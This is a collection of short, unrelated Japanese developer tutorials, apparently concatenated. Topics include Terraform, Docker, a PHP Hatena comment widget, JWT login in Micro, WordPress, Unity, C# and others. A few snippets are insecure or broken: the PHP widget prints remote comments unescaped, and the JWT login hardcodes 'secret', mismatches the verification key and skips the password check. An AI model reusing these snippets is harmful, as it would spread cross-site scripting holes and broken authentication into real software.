※tfファイルで使用する変数はこちらで定義する

```
variable "aws_access_key" {}
variable "aws_secret_key" {}
variable "region"{}
variable "role_arn"{}
```
terraform.tfvars
※変数の中身はこちらで記載
※IDに紐づく情報もあるためリポジトリにアップしてはいけない
※今回の使用するpythonファイルにでS3にアクセスを想定しているためrole_arnにS3へのアクセス権を指定(IAMの画面で確認可)

```
aws_access_key="xxxxxxxxxxxxx"
aws_secret_key="xxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
region="ap-northeast-1"
role_arn="arn:aws:iam::xxxxxx:role/S3FullAccess"
```

- tfファイル解説
    - 1段目でプロバイダ(今回はAWS)を指定。認証に必要なsecret_key、access_keyはここで定義する。実際の記載は別ファイルで記載することにする。そうすることで、コード本体はバージョン管理し、各々の開発者の認証に関する情報はローカルで管理するといった住み分けができる。認証に必要な属性はプロバイダ毎に異なるので適宜書き換えが必要になる。例えばAzureの場合はsubscription_id という属性名で記述する。
    - 2段目はAWSのLambdaに関する設定が記載されている。通常のブラウザでのセットアップ時に画面で設定する項目を全てコードに落とし込むイメージ。
    - 3段目ではアップロードするファイルの形式を指定。今回はローカルからzipファイルをアップロードする場合を想定。pythonでコードを書いている場合はpyファイルをzipに含めておけばよい。
    - その他、必要に応じて追加するべき設定項目があると思います。属性名の一覧は[Hashicorpのページ](https://www.terraform.io/docs/providers/index.html)に記載されている。

- ファイル階層

    - 作成したterraformフォルダに上記の3ファイルと、アップロードするzipファイルを置いておく。

- 実行
tfファイルのディレクトリに移動し、下記の3コマンドで構築完了

```
$ terraform init
初期化。初回のみ実行する。
```

```
$ terraform plan
設定内容が画面に表示される。同時にスクリプトエラーも確認してくれる。 
このコマンドが通らないと次のコマンドを実行できない。
設定変更のためコードを修正した場合はこのコマンドから再実行すればよい。
```

```
$ terraform apply
実際の構築がされる。
```
      
- メリット
    - コードで記述されているためバージョン管理ができる
    - 同じ環境を複数作る場合、同様の作業を何度もする必要がなくなる
    - ヒューマンエラーがなくなる
- 追記
    - 実際に運用するときは、terrraform init、terraform plan、terraform applyをまとめて記載したシェルスクリプトを用意しておき、そのスクリプトを実行すると楽。
    - 構築した環境を削除する際には、terraform destoryというコマンドを実行する。
BrowserslistError: Unknown browser query `dead` の対応

## Docker開発環境でBootStrapのビルドエラーが起こっている

本日、友人と一緒に行っているプロジェクトより、ローカルのDocker環境で webpackのbuild errorが発生しました。
該当ファイルは npm installした`bootstrap.min.css`でした。

<img width="1256" alt="スクリーンショット 2018-07-15 15.56.10.png" src="https://qiita-image-store.s3.amazonaws.com/0/144991/46b2e7d4-67c4-bfde-3046-1745935bd620.png">

調べると、似たようなエラーが先日にもあった模様です。

[https://github.com/browserslist/browserslist/issues/276](https://github.com/browserslist/browserslist/issues/276)

取り急ぎの解決方法として、`css-loader` を更新せよとのことなので、コンテナ環境側でcss-loaderを直接更新して、再起動したところ問題なく動くようになりました。

```shell:
npm install css-loader@1.0.0
```

## 原因調査中...

bootstrapもnpmでインストールしていますが、しばらく更新かけていないため、突然このような事項が発生したのは不思議です。
また、私の環境ではこの問題は発生しませんでした。
取り急ぎの解決方法です。

## 追記

調べてみると、BootStrapのエラーの模様?
[https://snyk.io/vuln/npm:bootstrap:20180529](https://snyk.io/vuln/npm:bootstrap:20180529)

4.1.1から4.1.2にアップデートをかけるとこれは解決する?
WordPressではてブコメントを取得して表示する


[&#x306F;&#x3066;&#x306A;&#x30D6;&#x30C3;&#x30AF;&#x30DE;&#x30FC;&#x30AF;&#x30A8;&#x30F3;&#x30C8;&#x30EA;&#x30FC;&#x60C5;&#x5831;&#x53D6;&#x5F97;API - Hatena Developer Center](http://developer.hatena.ne.jp/ja/documents/bookmark/apis/getinfo)を使って、コメントがあるブクマだけブログに表示する為のPHPコードです。
WordPress &amp; Twitter Bootstrap用かつMicrodata対応。

# 実装

データはJSON形式で取ってこれます。
関連ブクマは必要無いので、レスポンスが高速なjsonliteの方を使用します。

```php
<?php
$hatebu = json_decode(file_get_contents('http://b.hatena.ne.jp/entry/jsonlite/?url='.get_permalink()));
if($hatebu){
  $hatebc = 0;
  foreach($hatebu->bookmarks as $bookmark){
    if(!$bookmark->comment){continue;} // コメントが無いブクマは表示しない
    ++$hatebc;
    if($hatebc > 10){ // 表示したい件数
      $hatebooks .= '<p><a target="\_blank" href="'.$bookmark->entry\_url.'">More bookmarks</a></p>';
      break;
    }
    $hatebooks .= '<blockquote class="noicon" itemprop="comment">';
    $hatebooks .= '<p>'.$bookmark->comment.'<small><time>'.$bookmark->timestamp.'</time>';
    $hatebooks .= ' by <a href="http://b.hatena.ne.jp/'.$bookmark->user.'/" target="_blank"><span itemprop="creator">'.$bookmark->user.'</span></a></small></p>';
    $hatebooks .= '</blockquote>';
  }
}
echo $hatebooks;
```

HTMLやスタイル部分は適当にカスタマイズしてください。

※この記事は2014-07-13公開のブログ記事を移転してきたものです。
docker メモ2

# Docker で cenots7 上で nginx を起動

## 作業ディレクトリ

```
/Users/#{user名}/docker_centos_project
```

### ファイル構成

* Dockerfile
* docker-compose.yml


## docker-compose.yml

```
version: '3'
services:
  web_server:
    build: "./"
    ports:
      - "8080:80"
    # tty: true
    # stdin_open: true
    privileged: true
    command: /sbin/init
    networks:
      app_net:
        ipv4_address: 172.16.238.2
networks:
  app_net:
    driver: bridge
    ipam:
     driver: default
     config:
       - subnet: 172.16.238.0/24
```

* `web-server` という名でカレントディレクトリの `Dockerfile` を起動。
* ポートフォワードの設定は、ホストの`8080`番を起動するコンテナの`80`番ポートを参照させる
* `tty` : 疑似ターミナル (pseudo-TTY) を割り当て。ttyを確保。/bin/bashなどでコンテナを操作する際に指定。
* `stdin_open` : コンテナの STDIN にアタッチ。コンテナの標準入力を開く。/bin/bashなどでコンテナーを操作する際に指定
* `privileged` : 特権モードを指定してコンテナ作成（問題がある模様・・・[参照](https://qiita.com/tachibanayu24/items/ab55144fac6ef6239e96)）
* `command` : コンテナを起動して最初に動かすコマンド
* ipアドレスを固定するために`networks`を指定しておく

※　デタッチドモードで起動したいが、`docker-compose`でのやり方がわからない
※ `systemctl` を使うために特権モードで起動するが問題があるようなので別の方法を探る

## Dockerfile

```
FROM centos:7
RUN touch /etc/yum.repos.d/nginx.repo \
  && echo -e "[nginx]\nname=nginx repo\nbaseurl=http://nginx.org/packages/centos/7/\$basearch/\ngpgcheck=0\nenabled=1" > /etc/yum.repos.d/nginx.repo \
  && yum -y install nginx \
  && yum -y install openssh-server \
  && sed -i -e "s/PermitRootLogin yes/PermitRootLogin yes\nPermitRootLogin no/g" /etc/ssh/sshd_config
```

* `centos7`のイメージからコンテナ作成
* `nginx`をインストールするため`/etc/yum.repos.d/nginx.repo`を作成
* ファイルの中身に記述する。`echo`コマンドを使って`>`でファイルに渡す。改行を反映させるために`-e`オプションを渡す。$はエスケープしなければならない。
* `yum -y install nginx`で`nginx`をインストール
* `yum -y install openssh-server`で`openssh-server`をインストール
* `sed`を用いて`ssh`のログイン設定ファイルを変更

## 起動コマンド

```
$ docker-compose up -d

$ docker ps -a
CONTAINER ID        IMAGE                              COMMAND             CREATED             STATUS              PORTS                  NAMES
39dd5320ba92        docker_centos_project_web_server   "/sbin/init"        17 hours ago        Up 17 hours         0.0.0.0:8080->80/tcp   docker_centos_project_web_server_1

$ docker exec -it docker_centos_project_web_server_1 bash
```

* `docker-compose up` : コンテナを作成し起動。オプションで`-d`をつけることでバックグラウンドで実行することがでる。
* `docker ps` : 現在起動中のコンテナを確認
* `docker exec` : コンテナに入る。オプションとして`-i`、`-t`を渡し、`bash`でコンテナ操作するための準備をし、最後にコンテナ起動後に最初に動かすコマンドとして`bash`を指定

## コンテナに入った後

```
# systemctl start nginx
# exit
```

## ホスト側から nginx 起動を確認

ブラウザで http://localhost:8080/ で確認

<img width="520" alt="スクリーンショット 2018-07-15 16.09.34.png" src="https://qiita-image-store.s3.amazonaws.com/0/137031/371925dc-0fc3-3f85-ce60-24d3be026f55.png">
Micro で JWT ログイン

ZEIT の Micro で、 JWT ログインしてみた。
下記のモジュールで、JWT ログインを強制するミドルウェアが使える

https://github.com/kandros/micro-jwt-auth

非常に薄いミドルウェアで、ソースコードは50行くらいだった。
上記のモジュールでは、 JWT で `sign` するのは含まれていないみたい。ので、ログイン部分をどうやれば良いか調べたのでメモ。

```typescript
const { sign } = require('jsonwebtoken')
const jwtAuth = require('micro-jwt-auth')

const login = (req, res) => {
  // req に入っている email, password などで認証する
  // ここでは適当なオブジェクトを取得したユーザーとする
  const user = {
    name: 'kazuya',
  }

  const token = sign({ user }, 'secret')
  return { token, user }
}

const me = jwtAuth(process.env.JWT_SECRET)(async req => {
  return req.jwt.user
})

module.exports = async req => {
  switch (req.url) {
    case '/login': 
      return login(req, res)
    case '/me': 
      return me(req, res)
  }      
}

```

これで、正しいトークンのみ通るようになる。
Alexa（Amazon Polloy）で分数を読むSSML

# SSML無しの場合

```
<speak>
1/6
</speak>
```
Alexa「いち　ろく」


# SSML利用

```
<speak>
<say-as interpret-as="fraction">1/6</say-as>
</speak>
```

Alexa「ろくぶんのいち」

ちなみにスラッシュは全角でも正しく分数として読んでくれました。

# 参考
https://developer.amazon.com/ja/docs/custom-skills/speech-synthesis-markup-language-ssml-reference.html#say-as
ローカル環境でmysqlを使ってみる

mysqlサーバーが動いているかの確認

```
$ sudo service mysqld status
```

mysqlサーバーに接続

```
 $ mysql -u root
```

使えるコマンド表示

```
> help;
```

画面のクリア

```
> (ctrlキー)+ L
```

現在のユーザーを表示

```
> select user();
```

☆mysqlでは終わりに;(セミコロン)を付けて命令終了

前のコマンドを取り消して、次のコマンドを打つ時

```
\c
```
mysqlへの接続を解除(どっちもＯＫ)

```
>quit:
>\q
```
Kotlin版Javadoc(Kdoc)を生成できる「dokka」の導入手順

Kotlin版Javadoc（Kdoc）のドキュメントを作れるdokkaというライブラリがあります。
その導入手順を紹介します。

# 環境
- Mac OSX 10.13.4
- Android Studio 3.1
- dokka 0.9.17

# dokkaの導入手順

今回はAndroid Studioを使った導入手順なので、gradleを使用します。
app/build.gradleに以下を追加します。

``` app/build.gradle
apply plugin: 'kotlin-android'
apply plugin: 'org.jetbrains.dokka-android'

dokka {
   outputFormat = 'javadoc'
   sourceDirs = files('src/main')
   outputDirectory = "$buildDir/javadoc"
} 
```

``` 'org.jetbrains.dokka-android' ```は``` 'kotlin-android' ```より後に入れます。
``` outputFormat ```にはjavadocのほかhtmlやmarkdownなども選択できます。
また、``` sourceDirs ```にはソースコードのあるディレクトリの場所を指定します。これは適宜変えてください。

続いて、ルート直下のbuild.gradleに以下を追加します。

``` build.gradle
buildscript {
    ext.dokka_version = '0.9.17'

    repositories {
        jcenter()
    }

    dependencies {
        classpath "org.jetbrains.dokka:dokka-android-gradle-plugin:${dokka_version}"
    }
}
```

ここまでできたら、Android Studioのターミナルから

```
./gradlew dokka
```
を実行するとjavadocが生成できますが・・・

**プロジェクトで使用している外部ライブラリによっては失敗することがあります。**

## 失敗した場合
ターミナルで``` java -version```を実行してjavaのバージョンをチェックし、JDK9以上を使用している場合はJDK8を使うように変更します。これで成功するはずです。

# kdoc-generator
[kdoc-generator]((https://plugins.jetbrains.com/plugin/10389-kdoc-generator))はAndroidStudioで使用できる、Kdocを自動で生成してくれるプラグインです。
![screenshot_17820.png](https://qiita-image-store.s3.amazonaws.com/0/154305/35d33619-7db1-4fb5-54fb-88c0977e5909.png)
(https://plugins.jetbrains.com/plugin/10389-kdoc-generator より引用)

# おわりに
https://github.com/Kotlin/dokka
dokkaについてさらに詳しく知りたい人はここを参照しましょう。
JavaScriptで時刻だけ扱う(moment.js)

## JavaScriptでは時刻だけのオブジェクトを持っていない
時刻のみを扱いたい場合はmoment.jsを使いましょう。
便利なメソッドが用意されています。
[公式ドキュメント](https://momentjs.com/docs/)

## 文字列からパースして時刻として扱う
例)

```js
moment("14:00:00", 'HH:mm:ss') // momentオブジェクトとして扱える
```

## 例）時刻の差を求める

```js

start_time = moment("14:00:00", 'HH:mm:ss')
end_time = moment("15:00:00", 'HH:mm:ss')

end_time.diff(start_time) // => 3600000 (単位はms)

// 時間単位にしたければ
end_time.diff(start_time)/1000/60/60 // => 1
```
gitの全コマンド一覧 (ソースコードから取得)

- gitには沢山のコマンドがあるが、殆どが使う頻度の少ないコマンドばかり
- ドキュメントにあるもの無いもの関係なしに、ソースコードから集めた

コマンド一覧
-----
- `git add`
- `git am`
- `git annotate`
- `git apply`
- `git archive`
- `git bisect--helper`
- `git blame`
- `git branch`
- `git bundle`
- `git cat-file`
- `git check-attr`
- `git check-ignore`
- `git check-mailmap`
- `git check-ref-format`
- `git checkout`
- `git checkout-index`
- `git cherry`
- `git cherry-pick`
- `git clean`
- `git clone`
- `git column`
- `git commit`
- `git commit-graph`
- `git commit-tree`
- `git config`
- `git count-objects`
- `git credential`
- `git describe`
- `git diff`
- `git diff-files`
- `git diff-index`
- `git diff-tree`
- `git difftool`
- `git fast-export`
- `git fetch`
- `git fetch-pack`
- `git fmt-merge-msg`
- `git for-each-ref`
- `git format-patch`
- `git fsck`
- `git fsck-objects`
- `git gc`
- `git get-tar-commit-id`
- `git grep`
- `git hash-object`
- `git help`
- `git index-pack`
- `git init`
- `git init-db`
- `git interpret-trailers`
- `git log`
- `git ls-files`
- `git ls-remote`
- `git ls-tree`
- `git mailinfo`
- `git mailsplit`
- `git merge`
- `git merge-base`
- `git merge-file`
- `git merge-index`
- `git merge-ours`
- `git merge-recursive`
- `git merge-recursive-ours`
- `git merge-recursive-theirs`
- `git merge-subtree`
- `git merge-tree`
- `git mktag`
- `git mktree`
- `git mv`
- `git name-rev`
- `git notes`
- `git pack-objects`
- `git pack-redundant`
- `git pack-refs`
- `git patch-id`
- `git pickaxe`
- `git prune`
- `git prune-packed`
- `git pull`
- `git push`
- `git read-tree`
- `git rebase--helper`
- `git receive-pack`
- `git reflog`
- `git remote`
- `git remote-ext`
- `git remote-fd`
- `git repack`
- `git replace`
- `git rerere`
- `git reset`
- `git rev-list`
- `git rev-parse`
- `git revert`
- `git rm`
- `git send-pack`
- `git serve`
- `git shortlog`
- `git show`
- `git show-branch`
- `git show-index`
- `git show-ref`
- `git stage`
- `git status`
- `git stripspace`
- `git submodule--helper`
- `git symbolic-ref`
- `git tag`
- `git unpack-file`
- `git unpack-objects`
- `git update-index`
- `git update-ref`
- `git update-server-info`
- `git upload-archive`
- `git upload-archive--writer`
- `git upload-pack`
- `git var`
- `git verify-commit`
- `git verify-pack`
- `git verify-tag`
- `git version`
- `git whatchanged`
- `git worktree`
- `git write-tree`



参考
-----
- https://github.com/git/git/blob/ed843436dd4924c10669820cc73daf50f0b4dabd/git.c#L438
組み込み用のprintfをいくつか試してみる

# はじめに
Cのコードを組み込みに移植する際に中に潜むprintfの扱いが悩ましい。表示先もUARTとかに指定できないと困る。そもそもprintfを組み込みで使うのが間違いだが、ちょっとしたベンチマークなどを動かす際にオリジナルのコードの中のprinfをいじくり回すのも面倒。そこで単体で使える軽量なprintfを使って出力はUARTに流すのが望ましい。 Github をみるとそうした用途で使えそうなprintfがいくつか見つかったる。どれがいいかわからないので実際に使ってみた結果を簡単にまとめる。


#各種  Printf

- https://github.com/mludvig/mini-printf
    - BSD
    - Latest commit 7eda25c  on Sep 20, 2017
    - mini_snprintf()
    - no snprintf():      10768 bytes
    - mini snprintf():    11420 bytes     (+  652 bytes)
    - glibc snprintf():   34860 bytes     (+24092 bytes!!)
    - supported: %%, %c, %s, %d, %u, %x, %X  (0-padding)
    - no-support:  (space-padding)
    - Star 70
- http://www.sparetimelabs.com/tinyprintf/tinyprintf.php
    - Kustaa Nyholm
    - LGPL2.1
    - https://github.com/heartoftechnology/embedded-printf
        - GPL3
        - based on tinyprintf
        - Latest commit c406d00  on May 21, 2016
    - https://github.com/cjlano/tinyprintf
        - LGPL2.1 or BSD
        - Latest commit 2ee3012  on Aug 29, 2014
        - Star 91
- https://github.com/mpaland/printf
    - Marco Paland
    - MIT
    - Star 90
- https://github.com/mpredfearn/simple-printf
    - BSD
    - Latest commit a39bb66  on Jun 9, 2016
    - Star 1
- https://www.menie.org/georges/embedded/small_printf_source_code.html
    - Georges Menie
    - GPL2
- https://github.com/stvngrcia/printf
- https://github.com/auselen/arm-printf
    - MIT
    - Star 0
- https://github.com/MarioViara/xprintfc
    - LGPL2.1
- https://github.com/bisqwit/tinyprintf
    - MIT
    - C++
- https://github.com/rdpoor/mu_printf
    - MIT
    - %c, %d, %e, %f, %s, %%.
    - Star 2
- https://github.com/ee-quipment/printf-embedded
    - MIT
    - Compiles to about 3.5K of object code.
    - The implementation is targeted at a 32-bit ARM architecture
    - snprintf
    - Star 4



# 実行結果

簡単なサンプルコードを作ってRISCVのRV32IMCで動かしてみた。（それぞれ対応するフォーマットが違うけど今は %s, %d, %x, %lld, %llx で動作確認した）

| printf          | app size  | %s | %d | %x | %lld | %llx |
|-----------------|-----------|----|----|----|------|------|
| mini-printf     |  2880     | o  | o  | o  | x    | x    |
| tinyprintf      |  6208     | o  | o  | o  | o    | o    |
| mpaland         | 11040     | o  | o  | o  | o    | o    |


arm-printfとmu_printf は今の所動作がおかしい。


# まとめ

mini-printf がとても小さい。ついでtinyprintf、mpaland。それぞれサポートするフォーマットが異なるが、とりあえずintだけでいいなら mini-printf かな？  long long (64bit) も使う場合は tinyprintf がよさげ。

Github上の Star の数もチェックしてみた。星が多い printf は簡単にビルドできて、ちゃんと動く事がわかった。 試すなら星の多い順がよさそう。

組み込み方法はそれぞれのREADME参照。俺putchar を用意して、そこに出力を流すのが一般的な模様。snprinfだけの場合は 俺printfを用意。

他にもおすすめのprintfがありましたら教えてください。
【uGUI】ToggleGroupコンポーネントを使って一つだけしか選択できないToggleを作る

#概要

uguiを使ってタブウィンドウみたいなのを作ろうとした時に、毎回選択したToggleと選択してないToggleを見てON/OFFの切り替えや既に押されていたら処理をさせない様にしないといけない様な処理を自前で用意しないといけないのかな？と思って調べたらToggleGroupコンポーネントを使えばそんなことしなくても済むとのことだったので忘備録としてまとめます。

Unityのバージョンは2018.1.1f1です

#実装

①ToggleGroupコンポーネントをつけたGameObjectを用意します![2018-07-15_14h10_54.png](https://qiita-image-store.s3.amazonaws.com/0/59907/b00f54dc-9b9e-15cd-4bdf-d6ec7547b024.png)

②Toggleを複数用意します。この時先程作成したToggleGroupを持ったゲームオブジェクトの子にする必要はないです。今回は見やすいように子にして話を進めます。

![2018-07-15_14h36_00.png](https://qiita-image-store.s3.amazonaws.com/0/59907/0a1b5e98-7d57-b3c3-7d59-191e13cc11c2.png)


③複数用意したToggleのToggleコンポーネントにあるGroupに先程作成したToggleGroupコンポーネントを持ったゲームオブジェクトを入れます。
![2018-07-15_14h16_58.png](https://qiita-image-store.s3.amazonaws.com/0/59907/e5887749-cb64-1339-6e11-d3ab21cb9c44.png)

④最初にチェックを入れたいToggle以外のToggleコンポーネントの「Is On」のチェックを外します。
これをしないと複数のToggleが選択された状態で表示されます。
今回は例としてToggleLeft以外のToggleコンポーネントの「Is On」のチェックを外します。
![2018-07-15_14h43_16.png](https://qiita-image-store.s3.amazonaws.com/0/59907/22789743-439a-e605-ba81-126c36134d8e.png)

#実演
こんな感じになります。

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">ToggleGroupを使って一つしか選択できないToggleを作ってみた。 <a href="https://t.co/WMQ3a3n7QA">pic.twitter.com/WMQ3a3n7QA</a></p>&mdash; ダリア (@daria_nicht) <a href="https://twitter.com/daria_nicht/status/1018365174254714880?ref_src=twsrc%5Etfw">2018年7月15日</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

#まとめ
コーディングなしで出来るのは助かりますね…。
タブウィンドウみたいなのを作ったらまたまとめて記事書きます。

#参考
UGUIでアニメーションを使ってNoCodingで画面遷移を作る
https://qiita.com/ShiroKuro/items/c028d29229fc135bac01
【Wordpress】増えてしまったタグやカテゴリーのテンプレートをフォルダ毎に整理する方法

#はじめに
WordPressでサイト構築をしていると、カテゴリーやタグのテンプレートファイルが増えてしまうことって、ないでしょうか？
今回は増えてしまったテンプレートファイルをフォルダ毎に整理する方法をまとめました。

#実装方法
1.テンプレートファイルをそれぞれフォルダに移動します。
（タグテンプレートならtag,カテゴリーならcategoryといったところでしょうか。）
2.functions.phpにスラッグ毎にテンプレートを切り替える処理を加えます。

#サンプルコード
まずは、テンプレートファイルを下記のフォルダ階層の様に移動させていきます。

フォルダ階層イメージ
wordpress/
　├ wp-content/
　│　└ themes/
　│　　　└ your-theme/
　│　　　　　└ tag/
　│　　　　　　　└ tag-{slug}.php
　│　　　　　└ category/
　│　　　　　　　└ category-{slug}.php
　│　　　　　└ functions.php


続いて、functions.phpに処理を追加します。

```php:functions.php
/**
 * タグテンプレート
 */
add_filter('tag_template', function($template){
  $tag = get_queried_object();
  //専用テンプレートが用意されているのか判定
  $alternative_template = locate_template( "tag/tag-{$tag->slug}.php" );

  // 専用テンプレートが用意されている場合
  if ($alternative_template) {
    return $template = $alternative_template;
  }
  // 専用テンプレートが用意されていない場合
  return $template;
});

/**
 * カテゴリテンプレート
 */
add_filter('category_template', function($template){
  $category = get_queried_object();
  //専用テンプレートが用意されているのか判定
  $alternative_template = locate_template( "category/category-{$category->slug}.php" );

  // 専用テンプレートが用意されている場合
  if ($alternative_template) {
    return $template = $alternative_template;
  }
  // 専用テンプレートが用意されていない場合
  return $template;
});

```

これでテンプレートファイルが綺麗に整理されたと思います。
同じ要領で、コメントや著者テンプレートも整理することができますので、よかったら試してみてください。

#参考サイト
WordPress codex プラグイン API/フィルターフック一覧
http://ur2.link/L3ES

WordPress codex 関数リファレンス/get queried object
http://ur2.link/L3EX

https://wordpress.stackexchange.com/questions/196434/template-hierarchy-tag-slug-php-directory

皆様のお役に立てれば幸いです。
aタグの使い方、アンケートフォームの作り方

<html lang="ja">
<head>
 <meta charset="utf8">
 <meta name="description" content="初めてのHTML文書です。">

 <title>HTML＆CSS（初級編）での学び＃２</title>
 <nav>
URLを文章に付随する方法
アンケートフォームの作り方
 </nav>
</head>

<body>
 <section>
 <h1>URLを文章に付随する方法</h1>
  <p>
　例えば、お店の情報を別のページに作ってそれを参照したい時や、外部サイトに移動させたい時。そんな時に便利なのが、テキストにURL情報を付随する方法です。文面にはURLは表示されませんがそのテキストをクリックするとそのURL先へ移動できるようになります。
  </p>
 <h2>テキストにURLの情報を付随する方法について</h2>
  <p>
インライン要素と呼ばれる<"a">を使用しましょう。
URL情報を付随するには
<"a href ="URL" ">「テキスト」<"/a">
このように、URLをつけたaタグをテキストの前後に持ってくると良いです。
  </p>
 </section>

 <section>
 <h1>アンケートフォームの作り方</h1>
  <p>
　次は、アンケートフォームの作り方についてです。
様々な要素が必要なため、実際の画像を見た方がわかりやすいでしょう。
  </p>
 <h2>実際に作ったHTMLがこちら</h2>
 <img src="https://qiita-image-store.s3.amazonaws.com/0/268555/3211857e-c944-e574-b256-ab2b65d3f14e.png">
  <p>
　今回は、メールアドレス・ログイン・コメント・性別・年代・送信ボタン　の６つの要素を含んだアンケートフォームを作成しました。メールアドレスとログイン、コメントは記述式、性別と年代は選択式にしたりとそれぞれの用途に応じて作りわける必要があります。また、最後に送信ボタンをつけ忘れないように注意する必要があります。
  </p>
 </section>

</body>
JHipster5.1を試してみた

#JHipsterというフレームワークの存在を知ったので試してみました。

##環境構築
参考にしたサイトはこちらです。
https://www.jhipster.tech/installation/

今回はVagrant box installationを使ってみます。
https://github.com/jhipster/jhipster-devbox

```
vagrant init jhipster/jhipster-devbox

vagrant up --provider virtualbox
```

この結果色々なツールが良い感じにセットアップ済みのUbuntuが使えるようになります。
VirtualBoxからjhipster_default~~を実行すると以下のような素敵な画面が立ち上がります。
![Screenshot_2018-07-15_03-35-41.png](https://qiita-image-store.s3.amazonaws.com/0/130262/0d4913ae-9fb1-d90f-720f-e07508e2f537.png)

##簡単なアプリを書いてみる（チュートリアル）

まずはアプリを作ります。今回はフロントエンドはReactを選択しました。
https://www.jhipster.tech/creating-an-app/

その後にEntityを作ります。この際にインタラクティブに項目名やJPAのRelationshipの設定をします。
https://www.jhipster.tech/creating-an-entity/

この結果で良い感じにCRUDするアプリが出来ます。

![Screenshot_2018-07-15_04-35-57.png](https://qiita-image-store.s3.amazonaws.com/0/130262/a2a15b09-f586-84f7-b5b8-95ffd3539125.png)

##問題の修正
ただし、JHipster5.1固有の問題で、OneToManyのMany側をsaveする際にサーバーサイドでExceptionが発生しsaveに失敗します。
これは、Issueとしてすでに上がっている模様です。(fixされたかもしれません。ちょっと確認中。）
https://github.com/jhipster/generator-jhipster/issues/7967


修正箇所

```
  AvGroupの最後に以下のhiddenパラメータを追加する。
    <AvInput id="book-author-id" type="hidden" name="author.id" value={this.state.authorId} />
  </AvGroup>
```


##感想
開発環境全部入りは楽チンで良いですね。
TypeScriptで簡単なDI

# はじめに
シンプルにDIがやりたかった。

## DIコンテナつくる
```typescript:Dependencies.ts
type Class<T> = new() => T

export default class Dependencies {

    static container: Map<Class<any>, any> = new Map()

    static inject<T>(clazz: Class<T>): T {
        const instance = Dependencies.container.get(clazz)
        if (instance) {
            return instance
        }
        const newInstance = new clazz()
        Dependencies.container.set(clazz, newInstance)
        return newInstance
    }
}
```

## 使う
```typescript
import Dependencies from "./Dependencies";

class Test {} // Singletonにしたいクラス

const val1 = Dependencies.inject(Test)
const val2 = Dependencies.inject(Test)
console.log(val1 === val2) // true
```
【c#】拡張メソッドを使ってnullかどうかを確認する

#概要
コードを書いている時に、毎回nullチェックを書くのが苦痛になってきたので、拡張メソッドを使って関数化させたほうが途中まで打ってインテリジェンスが使えるのと、デバッグコードを仕込む時にも大変便利なのではないかなと使いやすくしようというのが目的です。

#実装


C#では全ての型(既に定義済みの型、ユーザー定義型、参照型、値型)がObjectを直接、又は間接的に継承しているのでObjectで拡張メソッドを書きます。



```c#
public static bool isNull(this System.Object obj)
{
   return obj == null;
}

```

反対にnullじゃなければも拡張メソッドを使って関数化させます。

```c#

public static bool isNotNull(this System.Object obj)
{
   return obj != null;
}

```


ただ、この方法をそのままチーム開発でやると、人によっては通常のnullチェックをしてるけど、
拡張メソッドでチェックしてる人がいるという事が起き得ると思うので、あらかじめNullチェックする際のコーディング規約を決めたほうがリファクタリングやソースレビューする際にスムーズに進むと思います。

#参考

object (C# リファレンス)
https://docs.microsoft.com/ja-jp/dotnet/csharp/language-reference/keywords/object

#追記 7/20
@soiさんから、int型などnullになりえない型でも拡張メソッドが使えてしまうので、
ジェネリックメソッドにしてnullになるものだけ使えるようにしたほうがいいという指摘を受けました。

```c#

public static bool isNull<T>(this T obj) where T : class
{
   return obj == null;
}

public static bool isNull<T>(this T? obj) where T : struct
{
   return obj == null;
}

```

whereを使ってclassやnull許容型のstructなどnullになるものだけを制約するようにします


参考 
where (ジェネリック型制約) (C# リファレンス)
https://docs.microsoft.com/ja-jp/dotnet/csharp/language-reference/keywords/where-generic-type-constraint

Null 許容型 (C# プログラミング ガイド)
https://docs.microsoft.com/ja-jp/dotnet/csharp/programming-guide/nullable-types/